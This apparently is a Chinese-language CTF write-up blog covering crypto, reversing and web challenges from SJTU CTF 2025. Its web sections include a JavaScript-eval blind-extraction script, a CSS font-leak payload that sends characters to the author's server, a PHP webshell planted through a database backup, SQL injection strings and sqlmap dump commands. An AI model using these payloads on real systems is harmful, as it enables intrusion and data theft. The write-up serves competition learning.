0101111100
0101111001
1101001100
0101110101
0101111101
1101101111
0101011110
0101101001
1101101110
0101111100
0101111001
1101001100
0101110101
0101111101
1101101111
0101011110
0101000101
1101100100
0101111101
0101101001
1101111111
0101110000
0101100101
1101110000
0101101111
0101000101
1101010001
0101110101
0101111001
1101110100
0101111010
0101101001
1101000010
0101110000
0101011001
1101011100
0101100100
0101111101
1101101111
0101011110
0101010100
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
1101110111
1011111111
1100110001
1011011100
1010111010
1011111111
0111011111
1110111111
0001111011
1100111111
0111111100
0111110101
1111011000
0110110110
1011111110
0111111101
1010101100
1101011011
1001110011
1111111110
1111001111

注意到有一大串 0001000001,怀疑其实是错位的 0100000100,也就是说 offset = 2。将脚本略加修改:

filename = "data2"
OFFSET = 2
lines = []
with open(f"{filename}.out", "r") as f:
    lines = f.readlines()
lines = [line[:-1] for line in lines] # Remove '\n'

# Consider the offset
new_lines = []
for idx in range(len(lines)-1):
    new_line = lines[idx][OFFSET:] + lines[idx + 1][:OFFSET] + "\n"
    new_lines.append(new_line)
print(new_lines)
lines = new_lines

# Parse
lines = [line[2:-2] for line in lines]
lines = [line[::-1] for line in lines]
chrs = [int(line, 2).to_bytes() for line in lines]
output = b''.join(chrs)

with open(f"{filename}.data", "wb") as f:
    f.write(output)

输出一堆二进制乱码;不过里面却夹杂着:

0ops{097d5133-067f-4701-bb24-4dbf14b98bb1}

AnatahEtodokuSakebi

对于这个 AES 奇怪的 padding 分析如下:
aes_note.png
可见重点在于需要找到一个 $w$, that $p + a_{31}' \stackrel {ECB} {\longrightarrow} w$ and $w \stackrel {CBC} {\longrightarrow} a_4 + q$,其中 $a_{31}'$ 与 $a_4$ 我们已知。我们需要上传给服务器的明文有 35 字节,于是 $p$ 只有三个字节,爆破是可以接受的,爆破即可。稍微注意一下 CBC 的加密机是 stateful 的。

代码如下:

from Crypto.Cipher import AES

class AESCryptService:
    key = b"UZhyYC6oiNH2IDZE"
    iv = b"sjtuctf20250oops"
    BLOC = 16

    def magic(self, a4: bytes, a31e: bytes, blocks: list[bytes]):
        pad = len(a31e)
        rem = len(a4)
        assert pad + rem == self.BLOC

        w = bytes()
        dec = bytes()
        for i in range(256 ** rem):
            ecb = AES.new(self.key, AES.MODE_ECB)
            cbc = AES.new(self.key, AES.MODE_CBC, self.iv) # Fuck undeepcopiable stateful objects
            for block in blocks:
                cbc.decrypt(block)
            p = i.to_bytes(rem, 'big')
            dec = p + a31e
            w = ecb.encrypt(dec)
            ori = cbc.decrypt(w)
            if ori.startswith(a4):
                return w, dec, ori
        return None, None, None

    def decrypt(self, data: str):
        print("========== DECRYPT ==========")
        data = bytes.fromhex(data)
        pad = 0
        key = self.key
        iv = self.iv
        BLOC = self.BLOC
        if (len(data) % BLOC) > 0:
            pad = BLOC - (len(data) % BLOC)
            # Step 1: ECB Decrypt & Append
            secondToLast = data[len(data) - 2 * BLOC + pad : len(data) - BLOC + pad]
            dec = AES.new(key, AES.MODE_ECB).decrypt(secondToLast)
            data += bytes(dec[len(dec) - pad : len(dec)])
            # Step 2: Swap
            data = (
                data[: len(data) - 2 * BLOC]
                + data[len(data) - BLOC :]
                + data[len(data) - 2 * BLOC : len(data) - BLOC]
            )
            print(f"{secondToLast=}")
            print(f"{dec=}")
            print(f"{data=}")

        # Step 3: CBC Decrypt
        index = 0
        decd = b""
        cipher = AES.new(key, AES.MODE_CBC, iv)
        while index < len(data):
            decd += cipher.decrypt(data[index : index + BLOC])
            index += BLOC

        # Step 4: Trash
        if pad != 0:
            decd = decd[: len(decd) - pad]
        print(decd)
        return decd.decode("utf-8")
    
    def encrypt(self, data: str):
        print("========== ENCRYPT ==========")
        # Prologue
        data = data.encode('utf-8')
        key = self.key
        iv = self.iv
        BLOC = self.BLOC

        # Step 1: Calc Padding
        print("-- Step 1")
        pad = 0
        if len(data) % self.BLOC > 0:
            pad = self.BLOC - (len(data) % self.BLOC)
            a4 = data[len(data) - BLOC + pad:]
            print(a4)
            
        # Step 2: CBC For complete BLOC
        print("-- Step 2")
        index = 0
        enc = b""
        blocks = []
        cipher = AES.new(key, AES.MODE_CBC, iv)
        while index + BLOC <= len(data):
            block = cipher.encrypt(data[index : index + BLOC])
            enc += block
            blocks.append(block)
            index += BLOC
            print(f"{block=}")
     
        # Step 3: ECB
        print("-- Step 3: ECB")
        if pad != 0:
            a31_ = enc[len(enc) - pad:]
            w, dec, ori = self.magic(a4, a31_, blocks)
            enc = (
                enc[: len(enc) - BLOC]
                + w
                + enc[len(enc) - BLOC : len(enc) - pad]
            )
            print(f"{a31_=}")
            print(f"{w=}")
            print(f"{dec=}")
            print(f"{ori=}")
            print(f"{enc=}")

        # Finale
        return enc.hex()

if __name__ == "__main__":
    aes = AESCryptService()
    text = "0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF012"
    print(text)
    cipher = aes.encrypt(text)
    print(cipher)
    text = aes.decrypt(cipher)
    print(text)

却未曾想爆破结果有惊喜:

aes_test.png

注意看 ori,它的后面全是 0。这意味着 $q \ldots$

aes_meme.jpg

这显然不是巧合;经测试,$q$ 永远是全零。虽然不知道为什么,不过看见这个结果我当然很开心了,于是修改 serv.py。完整源码已附上。

在整点 $\pm 10~\mathrm{s}$ 时 response 才会 success,成功后即输出 flag.

Flag: 0ops{A35_C1phErTEXt_5T3ALiNg}

AES Ciphertext Stealing... OK! 学习了。

Inaudible

搜索 频谱图还原 "CTF" 搜到了 ZJUSecurity 短学期课程实践的文档。Ref: courses.zjusec.com

且这个题是 TonyCrane 老师出的,原题是 p哭q from Hackergame2021。Ref: courses.zjusec.com / Hackergame官方题解。(啊 Typecho 不支持 emoji)

把题解里的代码丢给 Claude3.7,吐出来了这个:

import numpy as np
import librosa
import soundfile as sf
from PIL import Image
import matplotlib.pyplot as plt

# Load the spectrogram image
img_path = 'spectrogram.png'
img = Image.open(img_path)
img_array = np.array(img)

# Parameters (from the document)
sr = 44100                      # Sample rate
num_freqs = 128                 # Number of mel bands
min_db = -60                    # Minimum decibel value
max_db = 30                     # Maximum decibel value
fft_window_size = 2048
frame_step_size = 512
window_function_type = 'hann'

# Extract the spectrogram data from the image
# We need to remove axes and color bar if they exist in the image
# Let's assume the main spectrogram is the core part of the image
# You might need to adjust these values based on your specific image

# Determine the region containing the actual spectrogram (excluding axes and colorbar)
# This requires manual inspection and adjustment
height, width = img_array.shape[:2]

# Extract the main spectrogram region
main_spec = img_array

# Convert RGB to grayscale if the image is in color
if len(main_spec.shape) == 3:
    gray_spec = main_spec[:, :, 1]
else:
    gray_spec = main_spec

# Normalize and invert the grayscale values to get proper intensity
# Assuming brighter values in image = higher energy
normalized_spec = (gray_spec - np.min(gray_spec)) / (np.max(gray_spec) - np.min(gray_spec))

# Map to dB scale (min_db to max_db)
log_mel_spectrogram = min_db + normalized_spec * (max_db - min_db)

# Flip the spectrogram vertically because in the image lower frequencies are at the bottom
log_mel_spectrogram = np.flipud(log_mel_spectrogram)

# Convert to mel power spectrogram
mel_spectrogram = librosa.db_to_power(log_mel_spectrogram)

# Reconstruct audio using Griffin-Lim algorithm
# Use librosa's mel_to_audio as mentioned in the document
y = librosa.feature.inverse.mel_to_audio(
    mel_spectrogram, 
    sr=sr, 
    n_fft=fft_window_size, 
    hop_length=frame_step_size,
    window=window_function_type,
    n_iter=32  # More iterations for better reconstruction
)

# Save the reconstructed audio
output_path = 'reconstructed_audio.wav'
sf.write(output_path, y, sr)

print(f"Audio reconstruction completed. Saved to {output_path}")
print(f"Reconstructed spectrogram saved to reconstructed_spectrogram.png")

直接开跑,跑出来把 Au 打开缩到两秒,听出来个 vulnerability 就听不出来了。Google 找了个 AI 帮我听,说是 zero day vulnerabilities。

Flag: 0ops{zero-day-vulnerabilities}

AreYouReady

ILSpy 启动,照抄即可。

using System;
using System.Text;
using System.Runtime.InteropServices;
using System.Text;
public class Composition
{
    // 类型定义
    private delegate void Instrument(int key, int value);

    // 字段声明
    private readonly int[] states;
    private readonly Instrument[] instruments;
    private int secret;
    private const int bit = 1; // 原代码未定义,保持假设值

    // 构造函数
    public Composition()
    {
        states = new int[7];
        instruments = new Instrument[8] { Piano, Guitar, Saxophone, Violin, Cello, Drum, Flute, Harp };
        Initialize();
    }

    // 初始化方法
    private void Initialize()
    {
        states[0] = 503508867;
        states[1] = -744629298;
        states[2] = -794976596;
        states[3] = 1905074788;
        states[4] = -1713215966;
        states[5] = 1240041635;
        states[6] = -1999964094;
        secret = 424019476;
    }

    // 乐器操作方法(保持原逻辑)
    private void Piano(int key, int value) => Swap(ref states[0], ref states[1]);
    private void Guitar(int key, int value) => SwapAdd(ref states[1], ref states[2]);
    private void Saxophone(int key, int value) => RotateAll();
    private void Violin(int key, int value) => SwapSub(ref states[2], ref states[3]);
    private void Cello(int key, int value) => SwapXor(ref states[3], ref states[4]);
    private void Drum(int key, int value) => SwapNotXor(ref states[4], ref states[5]);
    private void Flute(int key, int value) => RotateShift(ref states[5], ref states[6], key);
    private void Harp(int key, int value) => RotateShift(ref states[6], ref states[0], value);

    private void Swap(ref int a, ref int b) => (a, b) = (b, a);
    private void SwapAdd(ref int a, ref int b) => (a, b) = (b, a + b);
    private void SwapSub(ref int a, ref int b) => (a, b) = (b, a - b);
    private void SwapXor(ref int a, ref int b) => (a, b) = (b, a ^ b);
    private void SwapNotXor(ref int a, ref int b) => (a, b) = (b, ~(a ^ b));
    private void RotateShift(ref int a, ref int b, int shift) => (a, b) = (b, (a << shift) | (a >>> (32 - shift)));
    private void RotateAll()
    {
        int temp = states[0];
        Array.Copy(states, 1, states, 0, 6);
        states[6] = temp;
    }

    public void Prelude()
    {
        for (int i = 1; i <= 8; i++)
            for (int j = 1; j <= 3; j++)
                GoOn(j, i);
        ShowFlag();
    }

    protected virtual void GoOn(int P_0, int P_1)
    {
        int index = (int)((uint)GetHash(P_0, P_1) % (uint)instruments.Length);
        instruments[index](P_0, P_1);
    }

    protected virtual int GetHash(int P_0, int P_1)
    {
        int num = secret + (P_0 << P_1) - (P_1 << P_0);
        secret = num ^ (secret >> bit);
        return secret;
    }

    public void ShowFlag()
    {
        Console.WriteLine(ToString());
    }

    public override string ToString()
    {
        Span<int> span = new int[7];
        for (int i = 0; i < 7; i++)
        {
            span[i] = states[i] ^ (secret + i);
        }
        String s = Encoding.GetEncoding("us-ascii").GetString(MemoryMarshal.AsBytes(span));
        return s;
    }

    // 控制台入口
    public static void Main()
    {
        new Composition().Prelude();
        Console.ReadLine(); // 防止控制台立即关闭
    }
}

>>> 写成 >> 了害我调半天。

Output: 0ops{Theng#Daw|Kwan$Heojq}

SmartGrader

拖进 jd-gui,关键代码在此:

package BOOT-INF.classes.com.sjtuctf2025.smartgrader.controller;
public class GraderController {
    // omitted
    
    private boolean script(Double score, String leftSymbol, String rightSymbol, Double leftScore, Double rightScore) {
        if (leftSymbol.length() > 24 || rightSymbol.length() > 24) {
            System.out.println("Symbol too long!");
            return false;
        } 
        String expr = "(" + leftScore + leftSymbol + "x && x" + rightSymbol + rightScore + ")";
        ScriptEngineManager manager = new ScriptEngineManager();
        ScriptEngine engine = manager.getEngineByName("js");
        engine.put("x", score);
        try {
            Object result = engine.eval(expr);
            return result.toString().equals("true");
        } catch (Exception e) {
            System.out.println(e.getMessage());
            return false;
        } 
    }
}

字符串拼接然后 eval,返回布尔值,在用户端可以看到的回显是 A or N/A。考虑布尔盲注。

可是 payload 却没有那么好构造。最终构造如下:

,'f'==java.lang.System/*     # Left

*/.getenv('FLAG')[10])//     # Right

这样以来两边都刚好 24.

脚本如下:

import requests

def check(pos: int, c: str):
    print(pos, c)
    host = "ht898mg9vfb8ktec.instance.penguin.0ops.sjtu.cn:18080"
    endpoint = f"http://{host}"
    url = f"{endpoint}/api/grader"
    headers = {
        "Host": host,
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
        "Content-Type": "application/json",
        "Accept": "*/*",
        "Origin": endpoint,
        "Referer": endpoint,
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
        "Connection": "keep-alive"
    }

    data = {
        "scores": [100, 75],
        "rules": [
            {
                "leftScore": 90,
                "leftSymbol": f",'{c}'==java.lang.System/*",
                "rightScore": 100,
                "rightSymbol": f"*/.getenv('FLAG')[{pos}])//",
                "grade": "A"
            }
        ]
    }

    response = requests.post(url, headers=headers, json=data)
    return eval(response.text)[0] == "A"

def find(pos):
    for o in range(0x20, 0x7F):
        c = chr(o)
        if check(pos, c):
            return c
    return None

def get_flag():
    flag = ""
    for pos in range(0, 64):
        c = find(pos)
        if c:
            flag += c
        else:
            return flag
    return flag

print(get_flag())

Output: 0ops{Scr!Pt_ENgIN3_1S_DAnGerous_hhH}

Gradient

Bot,CSS 字符串拼接,考虑 XSS CSS Font Leak.
构造 payload:

from urllib import parse

print("#F44336, #FF9800, #FFEB3B, #8BC34A, #03A9F4, #5C6BC0, #AB47BC);}", end="")

for idx in range(64):
    for char in range(32, 127):
        fmt1 = f"@font-face {{font-family: leak{idx};src: url(http://inuebisu.cn:34567/?pos={idx}&char={parse.quote(chr(char))});unicode-range: U+{hex(char)[2:]};}}"
        print(fmt1, end = "")
    fmt2 = f"span:nth-child({idx}) {{ font-family: leak{idx}; }}"
    print(fmt2)

print("t {background: linear-gradient(90deg, #F44336, #FF9800", end="")

Payload 太长,这里不予展示。

再写一个 app 挂到我服务器上:

from flask import Flask, request, render_template_string
import datetime
from collections import defaultdict

app = Flask(__name__)
flag_data = defaultdict(dict)
log_file = "requests.log"

REPORT_TEMPLATE = """
<!DOCTYPE html>
<html>
<head>
    <title>Flag Collector</title>
    <style>
        .flag { 
            font-family: monospace;
            font-size: 2em;
            letter-spacing: 0.2em;
        }
    </style>
</head>
<body>
    <h1>Collected Flag Data</h1>
    <div class="flag">{{ flag_display }}</div>
    <h1>Raw Data</h1>
    <pre>{{ raw_data }}</pre>
</body>
</html>
"""

@app.route('/')
def collect():
    pos = request.args.get('pos', type=int)
    char = request.args.get('char', '')
    
    log_entry = f"[{datetime.datetime.now()}] pos={pos} char={char} [IP: {request.remote_addr}]"
    print(log_entry)

    with open(log_file, "a") as f:
        f.write(log_entry + "\n")

    if pos is not None and len(char) == 1 and char != ' ':
        flag_data[pos] = char
    
    return "OK"

@app.route('/view')
def view():
    max_pos = max(flag_data.keys()) if flag_data else 0
    flag_display = ''.join([flag_data.get(i, '?') for i in range(max_pos + 1)])
    
    raw_data = "\n".join([f"pos {k}: {v}" for k, v in sorted(flag_data.items())])
    
    return render_template_string(
        REPORT_TEMPLATE,
        flag_display=flag_display,
        raw_data=raw_data or "No data collected yet"
    )

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=34567, threaded=True)

将 payload 提交给 Gradient 实例后,要挟 bot 访问 http://php/flag.php,于是就可以去 http://inuebisu.cn:34567/flag 看 flag 了。

gradient_res.png

realLibraryManager

首先这个验证码形同虚设,只要不写 verify 参数就放你过。

扫目录发现目录下躺着一个 db_backup.sql,里面有用户名和密码,然而 md5 了。cmd5 一下发现李狗蛋的密码居然是 123456!遂愉快使用 10000123456 登入。

查询名为 ' 的图书,爆 SQL Syntax Error 了,开注。sqlmap 脱库,发现 user.csv 里有这样一条:

1145141920,9cfbe247708a79cd184d832de35504d6,System,管理员,1,1,2025-04-02 20:40:24

cmd5 得知其密码为 adMin1,愉快登入。

管理员后台可以添加图书:
library_add.png

可以备份数据库:
library_backup.png

备份路径可以写 .php,同时其内容可控。添加一本作品简介为 <?php system($_GET[0]); ?> 的图书,再将数据库备份成 /var/www/html/db_backup.php,就可以拿到 webshell 了。(不过却不能写 $_GET["cmd"],有双引号会爆 Syntax Error。)

访问 /db_backup.php?0=ls%20/ 得根目录下有一个 F1aaaAagG 文件;于是访问 /db_backup.php?0=cat%20/F1aaaAagG 即可。

Flag: 0ops{e34c58dc-c958-4b39-8ff2-766f4e795d9e}

Push2Hint

HTTP2 Basic.

nghttp -vny --hexdump https://instance.penguin.0ops.sjtu.cn:18861/push.gif > push.gif.txt
[  0.198] send WINDOW_UPDATE frame <length=4, flags=0x00, stream_id=13>
          (window_size_increment=32767)
00000000  00 00 a1 00 01 00 00 00  02 48 69 6e 74 3a 20 49  |.........Hint: I|
00000010  20 68 6f 73 74 65 64 20  74 68 65 20 77 65 62 73  | hosted the webs|
00000020  69 74 65 20 68 74 74 70  73 3a 2f 2f 67 69 76 65  |ite https://give|
00000030  73 2e 79 6f 75 2e 68 69  6e 74 20 6f 6e 20 74 68  |s.you.hint on th|
00000040  65 20 6f 74 68 65 72 20  69 6e 73 74 61 6e 63 65  |e other instance|
00000050  2c 20 76 69 73 69 74 20  22 2f 72 33 64 31 72 33  |, visit "/r3d1r3|
00000060  63 74 22 20 74 6f 20 67  65 74 20 74 68 65 20 66  |ct" to get the f|
00000070  69 6e 61 6c 20 68 69 6e  74 21 20 57 65 20 64 6f  |inal hint! We do|
00000080  6e 27 74 20 61 63 63 65  70 74 20 6f 6c 64 20 62  |n't accept old b|
00000090  72 6f 77 73 65 72 73 20  6f 6e 20 74 68 69 73 20  |rowsers on this |
000000a0  6f 6e 65 20 74 6f 6f 21  0d 0a                    |one too!..|
nghttp -vny --hexdump https://instance.penguin.0ops.sjtu.cn:18401/r3d1r3ct -H ":authority: gives.you.hint"
[  0.093] recv SETTINGS frame <length=0, flags=0x01, stream_id=0>
          ; ACK
          (niv=0)
00000000  00 00 32 01 04 00 00 00  0d 48 03 31 30 33 6d 2b  |..2......H.103m+|
00000010  3c 2f 35 75 50 65 72 5f  35 65 43 52 33 74 5f 50  |</5uPer_5eCR3t_P|
00000020  61 74 48 3e 3b 20 72 65  6c 3d 70 72 65 6c 6f 61  |atH>; rel=preloa|
00000030  64 3b 20 61 73 3d 66 65  74 63 68                 |d; as=fetch|
nghttp -vny --hexdump https://instance.penguin.0ops.sjtu.cn:18401/5uPer_5eCR3t_PatH -H ":authority: gives.you.hint" > 3.txt
[  0.064] send SETTINGS frame <length=0, flags=0x01, stream_id=0>
          ; ACK
          (niv=0)
00000000  00 00 5c 01 04 00 00 00  0d 88 76 1c 57 65 72 6b  |..\.......v.Werk|
00000010  7a 65 75 67 2f 33 2e 31  2e 33 20 50 79 74 68 6f  |zeug/3.1.3 Pytho|
00000020  6e 2f 33 2e 31 32 2e 34  61 1d 57 65 64 2c 20 30  |n/3.12.4a.Wed, 0|
00000030  39 20 41 70 72 20 32 30  32 35 20 31 33 3a 34 35  |9 Apr 2025 13:45|
00000040  3a 30 32 20 47 4d 54 5f  18 74 65 78 74 2f 68 74  |:02 GMT_.text/ht|
00000050  6d 6c 3b 20 63 68 61 72  73 65 74 3d 75 74 66 2d  |ml; charset=utf-|
00000060  38 5c 02 34 37 00 00 2f  00 01 00 00 00 0d 30 6f  |8\.47../......0o|
00000070  70 73 7b 36 30 30 64 62  79 33 5f 50 55 24 48 5f  |ps{600dby3_PU$H_|
00000080  34 4e 64 5f 35 34 79 5f  68 65 31 6c 30 5f 37 6f  |4Nd_54y_he1l0_7o|
00000090  5f 33 40 52 31 79 5f 68  21 6e 74 53 7d           |_3@R1y_h!ntS}|

Flag: 0ops{600dby3_PU$H_4Nd_54y_he1l0_7o_3@R1y_h!ntS}

EzWebAuthn Flag_1

username 可以注。不过整个 SELECT 语句需要「注册的时候返回空的,之后又能返回 admin」这一条件。

admin' AND '2' IN (SELECT user_id FROM credentials WHERE sign_count > 3) ORDER BY id LIMIT 1 --' ORDER BY id LIMIT 1

有个小问题是用户名太长了 client 这边会报错。需要把服务端第一次 response 的对应部分 inspect 一下并改成这样:

"user":{"displayName":"1","id":"MQo","name":"1"}

效果非常好玩,注册和登录的时候没啥效果,多登录几次就看见 flag 了。

EzWebAuthn_Revenge Flag_2

首先 admin 的 credential_id 是可以拿到的,因为 username 处可以 sqlmap 把库给脱下来:

sqlmap -u "http://localhost:18488/webauthn/register?username=xxx" --dbms=SQLite --risk=3 --level=5 --tamper=space2comment --dump

同时 credential_id 不 unique,而且 ORM scalar 有个奇奇怪怪的 ordering by.

authenticate 方法是这样的:

@app.route("/webauthn/authenticate", methods=["GET", "POST"])
def authenticate():
    if session.get("authenticated"):
        return jsonify(dict(status="error", msg="已经登录!"))
    if request.method == "GET":
        authentication_options = json.loads(
            options_to_json(
                generate_authentication_options(
                    rp_id=request.host.split(":")[0],
                )
            )
        )
        session["authentication_challenge"] = authentication_options.get("challenge")
        return jsonify(dict(status="success", options=authentication_options))
    elif request.method == "POST":
        challenge = session.get("authentication_challenge")
        if not challenge:
            return jsonify(dict(status="error", msg="Session missing!"))
        try:
            authentication_credential = json.loads(request.data)
            if not check_credential_id(authentication_credential.get("id")):
                raise Exception("Invalid credential ID")
            authentication_verification = verify_authentication_response(
                credential=authentication_credential,
                expected_challenge=base64url_to_bytes(challenge),
                expected_rp_id=request.host.split(":")[0],
                expected_origin=request.host_url.rstrip("/"),
                credential_public_key=base64url_to_bytes( # 1
                    Credentials.scalar(
                        {"credential_id": authentication_credential.get("id")},
                        "public_key",
                    )
                ),
                credential_current_sign_count=Credentials.scalar( # 2
                    {"credential_id": authentication_credential.get("id")},
                    "sign_count",
                ),
            )
            Credentials.update( # 3
                {"credential_id": authentication_credential.get("id")},
                {"sign_count": authentication_verification.new_sign_count},
            )
            del session["authentication_challenge"]
            session["authenticated"] = True
            session["authentication_user_id"] = Credentials.scalar( # 4
                {"credential_id": authentication_credential.get("id")},
                "user_id",
            )
            return jsonify(dict(status="success"))
        except Exception:
            traceback.print_exc()
            del session["authentication_challenge"]
            return jsonify(dict(status="error", msg="登录失败!"))

虽然一般的 authenticator 生成的 credential_id 都是随机的,但它实际上并不是服务端发来的,并没有要求随机。同时希望第一、二条语句查询到的是新用户,且第四条语句查询到的是 admin,故考虑注册一个 credential_id 与 admin 相同,且 public_key 字典序小于 admin 的用户即可。

似乎没有现成的支持自定义 credential_id 的 authenticator,于是我使用了 soft_webauthn 并进行了爆改,最终成功实现。public_key 字典序问题似乎就是碰运气了;反正我运气比较好一次过了。

源码已经附上。python3 solve.py 一跑 flag 直接就出来了。

0ops{UNiQu3n3s5_0f_CredENt!@1_!d_iS_ImPorT4nT_R3v3nG3_b07c9bbec5e9579bf}

KillerECC

Ref: GitHub Security, for elliptic that <= 6.6.0.

/elliptic/lib/elliptic/ec/index.js:

EC.prototype.sign = function sign(msg, key, enc, options) {
  if (typeof enc === 'object') {
    options = enc;
    enc = null;
  }
  if (!options)
    options = {};

  key = this.keyFromPrivate(key, enc);
  msg = this._truncateToN(msg, false, options.msgBitLength);
  // console.log(msg); // DEBUG
  // Zero-extend key to provide enough entropy
  var bytes = this.n.byteLength();
  var bkey = key.getPrivate().toArray('be', bytes);

  // Zero-extend nonce to have the same byte size as N
  var nonce = msg.toArray('be', bytes);

  // Instantiate Hmac_DRBG
  var drbg = new HmacDRBG({
    hash: this.hash,
    entropy: bkey,
    nonce: nonce,
    pers: options.pers,
    persEnc: options.persEnc || 'utf8',
  });

  // Number of bytes to generate
  var ns1 = this.n.sub(new BN(1));

  for (var iter = 0; ; iter++) {
    var k = options.k ?
      options.k(iter) :
      new BN(drbg.generate(this.n.byteLength()));
    k = this._truncateToN(k, true);
    if (k.cmpn(1) <= 0 || k.cmp(ns1) >= 0)
      continue;

    var kp = this.g.mul(k);
    if (kp.isInfinity())
      continue;

    var kpX = kp.getX();
    var r = kpX.umod(this.n);
    if (r.cmpn(0) === 0)
      continue;

    var s = k.invm(this.n).mul(r.mul(key.getPrivate()).iadd(msg));
    s = s.umod(this.n);
    if (s.cmpn(0) === 0)
      continue;

    var recoveryParam = (kp.getY().isOdd() ? 1 : 0) |
                        (kpX.cmp(r) !== 0 ? 2 : 0);

    // Use complement of `s`, if it is > `n / 2`
    if (options.canonical && s.cmp(this.nh) > 0) {
      s = this.n.sub(s);
      recoveryParam ^= 1;
    }
    return new Signature({ r: r, s: s, recoveryParam: recoveryParam });
  }
};

看这个 var nonce = msg.toArray('be', bytes);msg = "a"msg = "-a" 生成的 nonce 居然是一样的!于是考虑 Nonce 重用攻击。

ECDSA 签名是这样的,生成一个私钥 $d$,则公钥 $Q = d \cdot G$. 生成一个随机数 $k$,则消息 $m$ 的签名 $(r,s)$ 为:

$$ \begin{align*} r &= (k \cdot G)_x \bmod n \\ s &= (h(m) + d \cdot r) \cdot k^{-1} \bmod n \end{align*} $$

如果两次签名使用了相同的 $k$,则 $r$ 也相同。于是:

$$ \begin{align*} s_1 &= (h_1 + d \cdot r) \cdot k^{-1} \bmod n \\ s_2 &= (h_2 + d \cdot r) \cdot k^{-1} \bmod n \end{align*} $$

$$ \begin{align*} k &\equiv (h_1 + d \cdot r) \cdot s_1^{-1} \pmod{n} \\ k &\equiv (h_2 + d \cdot r) \cdot s_2^{-1} \pmod{n} \end{align*} $$

$$ (h_1 + d \cdot r) \cdot s_1^{-1} \equiv (h_2 + d \cdot r) \cdot s_2^{-1} \pmod{n} $$

所以

$$ d \equiv \frac{h_1 \cdot s_2 - h_2 \cdot s_1}{r \cdot (s_1 - s_2)} \pmod{n} $$

这样就解出了私钥 $d$.

js 代码实现:

const EC = require('elliptic').ec;
const ec = new EC('secp256k1');
const BN = require('bn.js');

const msg1 = 'a';
const msg2 = '-a';

const r = new BN('69180654633231754455364064681630705196724554078145440899145475088101306342827');
const s1 = new BN('1200569319473703500095695024670799060093648538504510442013683300162069296030');
const s2 = new BN('106831556006544756238571025500893478501748861408380156097898491150071946173285');

const h1 = ec._truncateToN(msg1, false).umod(ec.n);
const h2 = ec._truncateToN(msg2, false).umod(ec.n);

const numerator = s2.mul(h1).sub(s1.mul(h2)).umod(ec.n);
const denominator = r.mul(s1.sub(s2)).umod(ec.n);
const d = numerator.mul(denominator.invm(ec.n)).umod(ec.n);

console.log('Private key:', d.toString(16));

顺利恢复私钥。

Flag: 0ops{D4mn!_W3_5h0uld_4lw4y5_b3_c4r3full_w1th_r4nd0m_v4lu3_8asb656910afe67efaa}

SnakeSnakeSnake

虽然 CheatEngine 不能修改当前分数,但是它可以修改 2025!搜索所有的 2025 并将其修改为 1,那么吃一个即可获取 flag……

snake_pwd.png

妈的,还有密码。又是 Wrong length 又是 Wrong format 的,看来是要我输入 flag 以解锁 flag 了。

没啥办法了,进到 onefile 临时文件夹里把所有东西拽出来,发现有一个 check.pyd 很可疑。IDA 之,发现两个很可疑的字符串。一个是 9c623a2034da8732f64adc831e220cc2,一个是 4mQWHMUK~Hxkx!J>1D@ZuS6TdSv#koy{vj+OgUd8。cmd5 得知前者是 0ops 的 MD5,应该是用来检查 0ops 格式的;后者是个 IPv6 Base85。

help() 这个 pyd,输出:

Help on module check:

NAME
    check

FUNCTIONS
    check(flag: 'str') -> 'tuple[bool, str]'

    transform(m: 'bytes | bytearray | list[int]', debug=False) -> 'bytes'

check 也是个 Wrong length 来 Wrong format 去的,想必就是检查 Flag 的函数了。经测试,transform 是将字节分成四个一组四个一组的。且大胆猜测 check 就是将传入的 flag 经过 transform 后与这串 base85 表示的二进制进行比对。四个字节爆破是可以接受的,开爆。

折腾来折腾去为了不让内存爆掉我也是煞费苦心……代码很乱,WriteUp 写到最后已经破防不想整理了,直接丢上来算了。建表建了8G,传是不可能传的。

Flag: 0ops{R3v3r51ng__py7h0n_1s-n07_h4rd!:)}

Not hard 个鬼啊,眼睛都看瞎了。

添加新评论